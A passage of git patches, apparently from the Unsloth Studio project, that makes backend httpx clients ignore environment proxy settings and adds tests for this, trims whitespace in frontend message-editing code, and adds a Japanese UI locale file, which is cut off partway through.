             if resp.status_code != 200:
diff --git a/studio/backend/core/inference/llama_http.py b/studio/backend/core/inference/llama_http.py
index b554949c3e..8aa072e35b 100644
--- a/studio/backend/core/inference/llama_http.py
+++ b/studio/backend/core/inference/llama_http.py
@@ -22,11 +22,7 @@ _LIMITS = httpx.Limits(max_connections = 64, max_keepalive_connections = 32)
 
 
 def _new_client() -> httpx.AsyncClient:
-    try:
-        return httpx.AsyncClient(limits = _LIMITS)
-    except Exception:
-        # Mirror external_provider: an unsupported env proxy scheme can raise.
-        return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
+    return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
 
 
 # One client per running event loop: an httpx client binds its transport to the
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index d3f56edec5..9caacec61b 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -6723,7 +6723,10 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
             # honor stream_options.include_usage per event, while keeping SSE
             # framing and token bytes intact.
             _include_usage = bool((body.get("stream_options") or {}).get("include_usage"))
-            client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
+            client = httpx.AsyncClient(
+                timeout = _llama_streaming_generation_timeout(),
+                trust_env = False,
+            )
             resp = None
             bytes_iter = None
             disconnect_event = threading.Event()
@@ -7798,7 +7801,10 @@ async def _responses_stream(
         # `async with`, explicit aclose of lines_iter BEFORE resp / client so
         # the innermost httpcore byte stream is finalised in this task (not via
         # the asyncgen GC in a sibling task).
-        client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout())
+        client = httpx.AsyncClient(
+            timeout = _llama_streaming_generation_timeout(),
+            trust_env = False,
+        )
         resp = None
         lines_iter = None
         disconnect_watcher = None
@@ -9308,6 +9314,7 @@ async def _anthropic_passthrough_stream(
         client = httpx.AsyncClient(
             timeout = _llama_streaming_generation_timeout(),
             limits = httpx.Limits(max_keepalive_connections = 0),
+            trust_env = False,
         )
         resp = None
         lines_iter = None
@@ -9834,6 +9841,7 @@ async def _openai_passthrough_stream(
         client = httpx.AsyncClient(
             timeout = _llama_streaming_generation_timeout(),
             limits = httpx.Limits(max_keepalive_connections = 0),
+            trust_env = False,
         )
         resp = None
         _truncate_budget = (
diff --git a/studio/backend/tests/test_api_perf_serialization.py b/studio/backend/tests/test_api_perf_serialization.py
index f5ad53306d..348e09104c 100644
--- a/studio/backend/tests/test_api_perf_serialization.py
+++ b/studio/backend/tests/test_api_perf_serialization.py
@@ -57,6 +57,15 @@ def test_media_type_and_status():
     assert err.status_code == 503
 
 
+def test_pooled_client_disables_proxy_env():
+    async def _scenario():
+        client = llama_http.nonstreaming_client()
+        assert client.trust_env is False
+        await llama_http.aclose()
+
+    asyncio.run(_scenario())
+
+
 def test_pooled_client_reused_within_loop_and_recreated_after_close():
     async def _scenario():
         a = llama_http.nonstreaming_client()
diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py
index 2de833db0e..60d7503485 100644
--- a/studio/backend/tests/test_inference_dispatcher_resilience.py
+++ b/studio/backend/tests/test_inference_dispatcher_resilience.py
@@ -10,6 +10,7 @@ must be logged and skipped, not fatal. Fakes only.
 
 from __future__ import annotations
 
+import ast
 import queue
 import sys
 import threading
@@ -89,3 +90,31 @@ def test_dispatcher_survives_mailbox_put_error():
         o._dispatcher_stop.set()
         t.join(timeout = 5)
     assert not t.is_alive()
+
+
+def test_route_llama_streaming_async_clients_disable_proxy_env():
+    """Local llama-server streaming proxies must ignore ambient HTTP_PROXY."""
+    source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text(
+        encoding = "utf-8"
+    )
+    tree = ast.parse(source)
+    calls = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Call):
+            continue
+        func = node.func
+        if not (
+            isinstance(func, ast.Attribute)
+            and func.attr == "AsyncClient"
+            and isinstance(func.value, ast.Name)
+            and func.value.id == "httpx"
+        ):
+            continue
+        calls.append(node)
+
+    assert len(calls) == 4
+    for call in calls:
+        assert any(
+            kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False
+            for kw in call.keywords
+        ), f"httpx.AsyncClient at line {call.lineno} must set trust_env=False"
diff --git a/studio/backend/tests/test_llama_cpp_props_readback.py b/studio/backend/tests/test_llama_cpp_props_readback.py
index d87c05f2c6..316956325f 100644
--- a/studio/backend/tests/test_llama_cpp_props_readback.py
+++ b/studio/backend/tests/test_llama_cpp_props_readback.py
@@ -113,8 +113,14 @@ def _stub_props(
     body = None,
     exc = None,
 ):
-    def fake_get(url, timeout = None):
+    def fake_get(
+        url,
+        timeout = None,
+        trust_env = None,
+    ):
         assert url.endswith("/props")
+
+        assert trust_env is False
         if exc is not None:
             raise exc
         return _FakeResponse(status_code, body)
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index a2a505f479..4499881c4d 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -951,7 +951,11 @@ class TestWaitForHealthRetriesOnReadError:
 
         calls = {"n": 0}
 
-        def fake_get(url, timeout = None):
+        def fake_get(
+            url,
+            timeout = None,
+            trust_env = None,
+        ):
             calls["n"] += 1
             if calls["n"] == 1:
                 raise httpx.ReadError("WinError 10054")
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 1248386020..1f09f9a091 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -554,6 +554,8 @@ def test_probe_mtp_decode_uses_api_key_auth(monkeypatch):
     backend._api_key = "secret"
     backend._probe_mtp_decode(timeout = 1.0)
     assert captured["headers"] == {"Authorization": "Bearer secret"}
+
+    assert captured["trust_env"] is False
     backend._api_key = None
     backend._probe_mtp_decode(timeout = 1.0)
     assert captured["headers"] is None
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index a05910c29f..7fe98b701f 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -3555,9 +3555,9 @@ const DiffusionCanvas: FC = () => {
 
 /**
  * AssistantMessage handles the display and inline-editing of AI responses.
- * 
- * It utilizes a "Tagged Text" system (<THINK> and <TOOL> tags) to allow users 
- * to edit structured reasoning and tool outputs within a plain-text textarea 
+ *
+ * It utilizes a "Tagged Text" system (<THINK> and <TOOL> tags) to allow users
+ * to edit structured reasoning and tool outputs within a plain-text textarea
  * while preserving the underlying data schema and tool-call metadata.
  */
 const AssistantMessage: FC = () => {
@@ -3565,7 +3565,7 @@ const AssistantMessage: FC = () => {
   const messageId = useAuiState(({ message }) => message.id);
   const messageContent = useAuiState(({ message }) => message.content);
   const incognito = useChatRuntimeStore((s) => s.incognito);
-  
+
   // Use global store for editing state to ensure a single source of truth
   const editingId = useChatRuntimeStore((s) => s.editingMessageId);
   const setEditingId = useChatRuntimeStore((s) => s.setEditingMessageId);
@@ -3588,9 +3588,9 @@ const AssistantMessage: FC = () => {
 
   const handleSave = async () => {
     const finalText = textareaRef.current?.value || "";
-    
+
     // Prioritize the specific thread item ID, then fallback to the global active thread ID
-    const remoteId = aui.threadListItem().getState().remoteId 
+    const remoteId = aui.threadListItem().getState().remoteId
                   || useChatRuntimeStore.getState().activeThreadId;
 
     if (!remoteId || remoteId === "" || remoteId === "/") {
@@ -3601,9 +3601,9 @@ const AssistantMessage: FC = () => {
 
     try {
       await updateThreadMessage({
-        thread: { 
-          export: () => aui.thread().export(), 
-          import: (data) => aui.thread().import(data) 
+        thread: {
+          export: () => aui.thread().export(),
+          import: (data) => aui.thread().import(data)
         },
         messageId,
         remoteId,
@@ -3626,14 +3626,14 @@ const AssistantMessage: FC = () => {
       <div className="aui-assistant-message-content wrap-break-word min-w-0 text-[#0d0d0d] dark:text-foreground leading-relaxed">
         {isEditing ? (
           <div className="flex flex-col gap-2 w-full">
-            <textarea 
+            <textarea
               ref={textareaRef}
               defaultValue={extractTaggedText(messageContent)}
-              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]" 
+              className="w-full p-3 rounded-xl bg-muted border border-border text-foreground focus:ring-2 focus:ring-primary outline-none overflow-y-auto resize-none font-mono text-sm max-h-[70vh]"
               autoFocus
-              onInput={adjustHeight} 
+              onInput={adjustHeight}
               onKeyDown={(e) => {
-                e.stopPropagation(); 
+                e.stopPropagation();
                 if (e.key === 'Enter' && (e.ctrlKey || e.metaKey)) {
                   handleSave();
                 }
@@ -3652,10 +3652,10 @@ const AssistantMessage: FC = () => {
             <GeneratingIndicator />
             <CancelledIndicator />
             <DiffusionCanvas />
-            
-            {/* 
-                We use the standard MessagePrimitive.Parts. This ensures that 
-                edited messages maintain the same professional styling, 
+
+            {/*
+                We use the standard MessagePrimitive.Parts. This ensures that
+                edited messages maintain the same professional styling,
                 Markdown rendering, and tool-call components as original responses.
             */}
             <MessagePrimitive.Parts
diff --git a/studio/frontend/src/features/chat/utils/update-thread-message.ts b/studio/frontend/src/features/chat/utils/update-thread-message.ts
index 5029b05956..ee3ea825e9 100644
--- a/studio/frontend/src/features/chat/utils/update-thread-message.ts
+++ b/studio/frontend/src/features/chat/utils/update-thread-message.ts
@@ -9,7 +9,7 @@ type ThreadImportExport = {
 type ContentPart = { type: "text" | "reasoning" | "tool"; text: string };
 
 /**
- * Extracts only the editable text and reasoning from a message, 
+ * Extracts only the editable text and reasoning from a message,
  * ignoring structured parts like tool calls that cannot be edited as plain text.
  */
 export function extractTaggedText(content: any): string {
@@ -23,16 +23,16 @@ export function extractTaggedText(content: any): string {
     .map((part: any) => {
       if (typeof part === 'string') return part;
       if (!part) return "";
-      
+
       // Only extract text from 'text' or 'reasoning' parts.
-      // Tool calls/responses are ignored here so they aren't accidentally 
+      // Tool calls/responses are ignored here so they aren't accidentally
       // deleted or corrupted by the user in the textarea.
       const text = part.text || part.content || "";
       if (!text) return "";
-      
+
       switch (part.type) {
-        case 'reasoning': 
-          // Trim the text first so we don't accumulate newlines 
+        case 'reasoning':
+          // Trim the text first so we don't accumulate newlines
           // around the tags on every save.
           return `${open}THINK${close}\n${text.trim()}\n${open}/THINK${close}`;
         case 'text':
@@ -57,12 +57,12 @@ function parseTaggedTextToContent(text: string): ContentPart[] {
     const index = match.index;
 
     if (index > lastIndex) {
-      // Trim the extracted content to remove any leading/trailing 
+      // Trim the extracted content to remove any leading/trailing
       // newlines created by the tag wrapping process.
       const content = text.substring(lastIndex, index).trim();
       if (content) parts.push({ type: currentType, text: content });
     }
-    
+
     currentType = fullTag.startsWith("</") ? "text" : (tagName === "THINK" ? "reasoning" : "tool");
     lastIndex = index + fullTag.length;
   }
@@ -91,7 +91,7 @@ export async function updateThreadMessage(args: {
     throw new Error(`Message with ID ${messageId} not found in thread.`);
   }
 
-  const { parentId: originalParentId } = targetMessageEntry; 
+  const { parentId: originalParentId } = targetMessageEntry;
   const { createdAt: originalCreatedAt } = targetMessageEntry.message;
 
   const updatedMessages = currentExport.messages.map((m) => {
@@ -101,18 +101,18 @@ export async function updateThreadMessage(args: {
     let finalContent: any[] = [];
 
     if (Array.isArray(originalContent)) {
-      const firstEditableIndex = originalContent.findIndex((part: any) => 
+      const firstEditableIndex = originalContent.findIndex((part: any) =>
         part.type === 'text' || part.type === 'reasoning'
       );
 
       if (firstEditableIndex === -1) {
-        const nonEditableParts = originalContent.filter((part: any) => 
+        const nonEditableParts = originalContent.filter((part: any) =>
           part.type !== 'text' && part.type !== 'reasoning'
         );
         finalContent = [...parsedEditableContent, ...nonEditableParts];
       } else {
         const before = originalContent.slice(0, firstEditableIndex);
-        const after = originalContent.slice(firstEditableIndex + 1).filter((part: any) => 
+        const after = originalContent.slice(firstEditableIndex + 1).filter((part: any) =>
           part.type !== 'text' && part.type !== 'reasoning'
         );
         finalContent = [...before, ...parsedEditableContent, ...after];

From d915a139eb2b34f67702e5e7240e588ff5639ef0 Mon Sep 17 00:00:00 2001
From: YuzukoUnderson <rikuichi0212@gmail.com>
Date: Wed, 1 Jul 2026 03:37:04 +0900
Subject: [PATCH 161/306] feat(i18n): add Japanese locale support for the
 Studio UI catalog (#6705)

* i18n: register Japanese language support in messages

* i18n: add Japanese locale support

* Update studio/frontend/src/i18n/locales/ja.ts

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/frontend/src/i18n/locales/ja.ts

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* test(i18n): add ja locale to parity check

* i18n: fill remaining missing keys for Japanese locale

* i18n: fix terminal string localization in ja locale

---------

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/frontend/src/i18n/check-parity.ts |   6 +-
 studio/frontend/src/i18n/locales/ja.ts   | 832 +++++++++++++++++++++++
 studio/frontend/src/i18n/messages.ts     |   4 +-
 3 files changed, 840 insertions(+), 2 deletions(-)
 create mode 100644 studio/frontend/src/i18n/locales/ja.ts

diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts
index 9808fd0e36..8c027f9ce3 100644
--- a/studio/frontend/src/i18n/check-parity.ts
+++ b/studio/frontend/src/i18n/check-parity.ts
@@ -10,6 +10,7 @@
 
 import { en } from "./locales/en.ts";
 import { zhCN } from "./locales/zh-CN.ts";
+import { ja } from "./locales/ja.ts";
 
 type Tree = { readonly [k: string]: string | Tree };
 
@@ -87,7 +88,10 @@ function checkExtras(
   }
 }
 
-const overlays: Record<string, Tree> = { "zh-CN": zhCN as unknown as Tree };
+const overlays: Record<string, Tree> = { 
+  "zh-CN": zhCN as unknown as Tree,
+  "ja": ja as unknown as Tree,
+};
 let anyError = false;
 
 for (const [locale, overlay] of Object.entries(overlays)) {
diff --git a/studio/frontend/src/i18n/locales/ja.ts b/studio/frontend/src/i18n/locales/ja.ts
new file mode 100644
index 0000000000..f2020f3cfb
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ja.ts
@@ -0,0 +1,832 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+// See /studio/LICENSE.AGPL-3.0
+
+export const ja = {
+  common: {
+    cancel: "キャンセル",
+    close: "閉じる",
+    delete: "削除",
+    done: "完了",
+    error: "エラー",
+    export: "エクスポート",
+    help: "ヘルプ",
+    loading: "読み込み中...",
+    new: "新規",
+    rename: "名前変更",
+    save: "保存",
+    saving: "保存中...",
+    search: "検索",
+    shutdown: "シャットダウン",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "{name} のアカウントメニュー",
+    updateAvailable: "アップデートが利用可能です",
+    aria: {
+      home: "Unsloth ホーム",
+      closeSidebar: "サイドバーを閉じる",
+      openSidebar: "サイドバーを開く",
+      chatOptions: "チャットオプション",
+      runOptions: "実行オプション",
+    },
+    navigation: {
+      newChat: "新規チャット",
+      returnToChat: "チャットに戻る",
+      compare: "比較",
+      search: "検索",
+      hub: "ハブ",
+      train: "トレイン",
+      recipes: "レシピ",
+      export: "エクスポート",
+      recents: "履歴",
+      settings: "設定",
+      api: "API",
+      lightMode: "ライトモード",
+      darkMode: "ダークモード",
+      guidedTour: "ガイドツアー",
+      help: "ヘルプ",
+      logOut: "ログアウト",
+      shutdown: "シャットダウン",
+    },
+    notFound: {
+      title: "ページが見つかりません",
+      description: "{path} は存在しません。",
+      backToChat: "チャットに戻る",
+    },
+    dialog: {
+      deleteChat: {
+        title: "チャットの削除",
+        description: '本当にこのチャット "{name}" を削除しますか？',
+      },
+      deleteRun: {
+        title: "トレーニング実行の削除",
+        description: '本当にこの実行 "{name}" を削除しますか？',
+      },
+      renameChat: {
+        title: "チャット名の変更",
+        placeholder: "チャットのタイトル",
+      },
+      renameRun: {
+        title: "実行名の変更",
+        placeholder: "実行名",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "実行中のトレーニングは削除できません",
+      failedToDeleteChat: "チャットの削除に失敗しました",
+      failedToDeleteRun: "実行の削除に失敗しました",
+      failedToRenameChat: "チャット名の変更に失敗しました",
+      failedToRenameRun: "実行名の変更に失敗しました",
+    },
+  },
+  settings: {
+    title: "設定",
+    dialog: {
+      title: "設定",
+      description: "Unsloth の環境設定を管理します。",
+      closeAriaLabel: "設定を閉じる",
+    },
+    tabs: {
+      general: "一般",
+      profile: "プロフィール",
+      appearance: "外観",
+      chat: "チャット",
+      connections: "接続",
+      apiKeys: "API",
+      about: "情報",
+    },
+    general: {
+      title: "一般",
+      description: "Unsloth の全体的な設定。",
+      account: "アカウント",
+      huggingFaceToken: "Hugging Face トークン",
+      huggingFaceTokenDescription: "ゲート付きモデルの読み込みや、アーティファクトのプッシュに使用されます。",
+      hideToken: "トークンを非表示",
+      showToken: "トークンを表示",
+      tokenSaved: "トークンを保存しました",
+      password: "パスワード",
+      passwordDescription: "この Studio アカウントのパスワードを変更します。",
+      passwordDialog: {
+        trigger: "パスワード変更",
+        title: "パスワード変更",
+        description: "現在のパスワードと新しいパスワード（最低 {minLength} 文字）を入力してください。",
+        currentPassword: "現在のパスワード",
+        newPassword: "新しいパスワード",
+        confirmPassword: "新しいパスワード（確認）",
+        currentTooShort: "現在のパスワードは最低 {minLength} 文字である必要があります。",
+        newTooShort: "新しいパスワードは最低 {minLength} 文字である必要があります。",
+        mismatch: "パスワードが一致しません。",
+        samePassword: "新しいパスワードは現在のパスワードと異なる必要があります。",
+        update: "パスワードを更新",
+        updating: "更新中...",
+        updated: "パスワードを更新しました。",
+        updateFailed: "パスワードの更新に失敗しました。",
+      },
+      chatDefaults: "チャットのデフォルト設定",
+      autoTitleNewChats: "新規チャットのタイトル自動生成",
+      autoTitleNewChatsDescription: "最初のメッセージから短いタイトルを自動生成します。",
+      helperLlm: {
+        sectionTitle: "Helper LLM",
+        preloadOnStartup: "起動時に Helper LLM をプリキャッシュする",
+        preloadOnStartupDescription: "起動時にバックグラウンドで AI アシスト用の Helper モデルをダウンロードします。デフォルトはオフですが、AI アシストが必要に応じてオンデマンドで取得できます。",
+        disabledByEnv: "バックエンド環境の UNSLOTH_HELPER_MODEL_DISABLE によって無効化されています。",
+        loadError: "Helper LLM 設定の読み込みに失敗しました。",
+        saveError: "Helper LLM 設定の保存に失敗しました。",
+      },
+      previewSharing: {
+        sectionTitle: "プレビュー共有",
+        enableLabel: "公開プレビューリンク",
+        enableDescription: "署名付きリンクを持つ人なら誰でも、ログインなしで完了したモデルとチャットできるようになります。オフにすると公開プレビュー画面がオフラインになり、共有リンクが機能しなくなります。",
+        loadError: "プレビュー共有設定の読み込みに失敗しました。",
+        saveError: "プレビュー共有設定の保存に失敗しました。",
+        revokeLabel: "すべてのプレビューリンクを失効",
+        revokeDescription: "署名シークレットをローテーションして、共有したすべてのリンクを即座に機能不全にします。新しくコピーしたリンクは引き続き機能します。",
+        revokeAction: "リンクを失効",
+        revoking: "失効中...",
+        revokeConfirmTitle: "すべてのプレビューリンクを失効させますか？",
+        revokeConfirmDescription: "共有したすべてのプレビューリンクが即座に機能しなくなります。この操作は取り消せません。",
+        revokeConfirmAction: "すべてのリンクを失効",
+        revoked: "すべてのプレビューリンクを失効させました",
+        revokeError: "プレビューリンクを失効させることができませんでした",
+      },
+      notifications: {
+        sectionTitle: "通知",
+        showLlamaUpdates: "llama.cpp のアップデート通知",
+        showLlamaUpdatesDescription: "新しいモデルを実行するための新しい llama.cpp ビルドが利用可能になったときに通知します。トレーニングのみを行う場合はオフにしてください。",
+      },
+      gettingStarted: "はじめに",
+      startOnboarding: "オンボーディングを開始",
+      startOnboardingDescription: "アカウントを変更せずにセットアップウィザードを再開します。",
+      startOnboardingAction: "オンボーディングを開始",
+      uploads: {
+        sectionTitle: "アップロード",
+        maxUploadSize: "トレーニングデータセットのアップロード容量制限",
+        maxUploadSizeDescription: "デフォルトは {defaultSize} MB です。",
+      },
+      storage: {
+        sectionTitle: "ストレージ",
+        modelsFolder: "モデルフォルダ",
+        modelsFolderDescription: "ダウンロードしたモデルの保存先。",
+        openAction: "開く",
+        copyAction: "パスをコピー",
+        copied: "パスをコピーしました",
+        openError: "フォルダを開けませんでした",
+        copyError: "パスをコピーできませんでした",
+      },
+      resetPreferences: {
+        sectionTitle: "危険ゾーン",
+        label: "すべてのローカル設定をリセット",
+        description: "ローカル限定の設定を消去します。チャット、APIアクセス、DBに保存された設定は保持されます。",
+        action: "設定をリセット",
+        confirmTitle: "すべてのローカル設定をリセットしますか？",
+        confirmDescription: "ローカル限定の設定を消去し、Unsloth を再読み込みします。チャット、APIアクセス、DBに保存された設定は保持されます。",
+        confirmAction: "リセットして再読み込み",
+      },
+    },
+    profile: {
+      title: "プロフィール",
+      description: "Unsloth 内でのプロフィールの表示方法。",
+      changePicture: "プロフィール写真を変更",
+      displayName: "表示名",
+      nickname: "Unsloth での呼び名",
+      nicknamePlaceholder: "ニックネーム",
+      nicknameSaved: "希望する名前を保存しました",
+      avatarShape: "プロフィール写真の形状",
+      avatarShapeCircle: "円形",
+      avatarShapeRounded: "角丸",
+      chooseSloth: "またはナマケモノを選択",
+      nameSaved: "プロフィール名を保存しました",
+      namePersistErrorTitle: "プロフィール名を永続化できませんでした",
+      namePersistErrorDescription: "名前はこのセッション用に更新されましたが、再読み込み後に保持されない可能性があります。",
+      photoUpdated: "プロフィール写真を更新しました",
+      photoPersistErrorTitle: "プロフィール写真を永続化できませんでした",
+      photoPersistErrorDescription: "写真はこのセッション用に更新されましたが、再読み込み後に保持されない可能性があります。",
+      photoUpdateErrorTitle: "プロフィール写真を更新できませんでした",
+      imageUseError: "この画像は使用できませんでした。",
+    },
+    appearance: {
+      title: "外観",
+      description: "このデバイスでの Unsloth Studio の見た目。",
+      theme: {
+        title: "テーマ",
+        label: "カラー構成",
+        description: "ライト、ダーク、またはシステム設定に従います。",
+        system: "システム",
+        light: "ライト",
+        dark: "ダーク",
+      },
+      language: {
+        title: "言語",
+        label: "表示言語",
+        description: "Unsloth で使用される言語。",
+      },
+      layout: {
+        title: "レイアウト",
+        compactSidebar: "デフォルトでサイドバーを固定",
+        compactSidebarDescription: "サイドバーをアイコンに折りたたまず、展開したままにします。",
+      },
+    },
+    chat: {
+      title: "チャット",
+      description: "このデバイスに保存されているチャット履歴を管理します。",
+      modelDisclaimer: "モデルの免責事項を表示",
+      modelDisclaimerDescription: 'チャットボックスの下に "LLMs can make mistakes" と表示します。',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTMLブロックを折りたたむ",
+        collapseHtmlBlocksDescription: "CanvasモードではフルHTMLを自動的に折りたたみます。CanvasがオフのときにもフェンスされたHTMLドキュメントを折りたたむには、これをオンにします。",
+        allowNetworkAccess: "Canvas のネットワークアクセスを許可",
+        allowNetworkAccessDescription: "CanvasのプレビューがCDNからスクリプト、スタイル、フォント、メディア、ネットワークリソースを読み込むことを許可します。完全にオフラインでプレビューする場合はオフのままにしてください。",
+      },
+      data: "データ",
+      exportHistory: "チャット履歴をエクスポート",
+      exportHistoryDescription: "すべてのチャットとメッセージを JSON としてダウンロードします。",
+      exportAction: "エクスポート",
+      exportingAction: "エクスポート中...",
+      exportConversations: "履歴とプロジェクトをエクスポート",
+      exportConversationsDescription: "履歴、または履歴とプロジェクトのチャットを、生の JSONL、CSV、または ShareGPT JSONL として、一括またはチャットごとにダウンロードします。",
+      exportConversationsAction: "エクスポート",
+      exportScopeRecents: "履歴",
+      exportScopeAll: "履歴 + プロジェクト",
+      exportCombinedSuffix: "(一括)",
+      exportPerChatSuffix: "(チャットごと)",
+      importChats: "チャットをインポート",
+      importChatsDescription: "JSONL、NDJSON、または CSV のエクスポートファイルを履歴にインポートします。",
+      importChatsAction: "インポート",
+      importNoConversations: "ファイル内に会話が見つかりませんでした。",
+      importedOneChat: "1 件の会話を履歴にインポートしました。",
+      importedChatCount: "{count} 件の会話を履歴にインポートしました。",
+      importFailed: "インポートに失敗しました。",
+      clearHistory: "チャット履歴を消去",
+      clearHistoryDescription: "このデバイスからチャット履歴を削除します。",
+      clearAction: "消去",
+      clearAllChats: "すべてのチャットを消去",
+      clearAllChatsDescription: "このデバイスのすべてのチャットを永久に削除します。",
+      noChatsToClear: "消去するチャットがありません。",
+      clearOneChatDescription: "このデバイスにある唯一のチャットを永久に削除します。",
+      clearChatCountDescription: "このデバイスにあるすべての {count} 件のチャットを永久に削除します。",
+      clearChatsAction: "チャットを消去",
+      clearOneChatTitle: "1 件のチャットを消去しますか？",
+      clearChatsTitle: "{count} 件のチャットを消去しますか？",
+      clearChatsConfirmDescription: "このデバイスのすべてのチャットを永久に削除します。この操作は取り消せません。",
+      clearingAction: "消去中...",
+      clearOneChatAction: "1 件のチャットを消去",
+      clearChatCountAction: "{count} 件のチャットを消去",
+      clearedAllChats: "すべてのチャットを消去しました",
+      clearedOneChat: "1 件のチャットを消去しました",
+      clearedChatCount: "{count} 件のチャットを消去しました",
+      someChatsCouldNotBeCleared: "一部のチャットを消去できませんでした",
+      chatsClearedRemainOne: "{clearedCount} 件のチャットを消去しました。1 件のチャットが残っています。もう一度お試しください。",
+      chatsClearedRemain: "{clearedCount} 件のチャットを消去しました。{remainingCount} 件のチャットが残っています。もう一度お試しください。",
+      oneChatClearedRemain: "1 件のチャットを消去しました。{remainingCount} 件のチャットが残っています。もう一度お試しください。",
+      oneChatClearedRemainOne: "1 件のチャットを消去しました。1 件のチャットが残っています。もう一度お試しください。",
+      storageClearFailedOne: "ストレージの消去に失敗しました。1 件のチャットが残っている可能性があります。もう一度お試しください。",
+      storageClearFailed: "ストレージの消去に失敗しました。{count} 件のチャットが残っている可能性があります。もう一度お試しください。",
+      failedToClearChats: "チャットの消去に失敗しました",
+    },
+    connections: {
+      title: "接続",
+      description: "プロバイダーと外部接続を管理します。",
+    },
+    apiKeys: {
+      title: "API",
+      description: "OpenAI互換 API を介して Unsloth にアクセスします。",
+      readDocs: "API ドキュメントを読む",
+      noAccess: "まだ API アクセス権がありません。",
+      newBadge: "新規",
+      accessTokens: "アクセストークン",
+      loadError: "API アクセス権を読み込めませんでした。",
+      createError: "アクセストークンを作成できませんでした。",
+      revokeError: "アクセストークンを失効させることができませんでした。",
+      never: "なし",
+      tokenNamePlaceholder: "トークン名 (例: production)",
+      newAccessTokenName: "新規アクセストークン名",
+      createToken: "トークンを作成",
+      creating: "作成中...",
+      newTokenCreated: "新規アクセストークンが作成されました",
+      accessTokenCopied: "アクセストークンをコピーしました",
+      copyAccessToken: "アクセストークンをコピー",
+      copyNow: "今すぐコピーしてください - これは二度と表示されません。",
+      usageExamples: "使用例",
+      usageTools: "ツール",
+      exampleCurlTools: "curl + ツール",
+      examplePythonTools: "Python + ツール",
+      exampleCurlAdvanced: "curl + 高度な設定",
+      examplePythonAdvanced: "Python + 高度な設定",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "セキュア HTTPS",
+      secureHttpsHint: "0.0.0.0 ポートは依然としてグローバルにアクセス可能です。完全なセキュリティを確保するには、Unsloth Studio を --secure 付きで起動し、この HTTPS リンクのみを公開してください。",
+      copyTunnelUrl: "トンネル URL をコピー",
+      copySnippet: "スニペットをコピー",
+      copy: "コピー",
+      copied: "コピーしました",
+      setupDocs: "セットアップドキュメント:",
+      relativeNever: "なし",
+      relativeJustNow: "たった今",
+      relativeHoursAgo: "{count}時間前",
+      relativeDaysAgo: "{count}日前",
+      relativeMonthsAgo: "{count}ヶ月前",
+      relativeYearsAgo: "{count}年前",
+      expired: "期限切れ",
+      today: "今日",
+      inDays: "{count}日後",
+      created: "作成日時 {value}",
+      used: "使用日時 {value}",
+      expires: "有効期限 {value}",
+      actionsFor: "{name} のアクション",
+      copyPrefix: "プレフィックスをコピー",
+      revokeToken: "トークンを失効",
+      revokeTitle: 'アクセストークン "{name}" を失効させますか？',
+      revokeDescription: "このトークンを使用しているアプリはすぐにアクセスできなくなります。この操作は取り消せません。",
+      revokeAction: '"{name}" を失効',
+      revoking: "失効中...",
+    },
+    about: {
+      title: "情報",
+      description: "ドキュメント、リリースノート、フィードバック、およびビルド情報。",
+      studioVersion: "Unsloth バージョン",
+      packageVersion: "パッケージバージョン",
+      llamaCppVersion: "llama.cpp バージョン",
+      hardware: "ハードウェア",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "アップデート",
+      help: "ヘルプ",
+      documentation: "ドキュメント",
+      releaseNotes: "リリースノート",
+      whatsNew: "新機能",
+      feedback: "フィードバック",
+      reportIssue: "問題を報告",
+      license: {
+        sectionTitle: "ライセンス",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "GNU AGPL v3.0 の下でオープンソース化されています。",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Apache 2.0 ライセンスの下で提供されています。",
+      },
+      dangerZone: "危険ゾーン",
+      shutDownStudio: "Unsloth Studio をシャットダウン",
+      shutDownStudioDescription: "Unsloth サーバーを停止し、セッションを終了します。",
+      shutDown: "シャットダウン",
+      update: {
+        title: "Unsloth Studio のアップデート",
+        commandText: "{label} テキスト",
+        copied: "コピーしました",
+        copyCommand: "コマンドをコピー",
+        commandCopied: "{label} をコピーしました",
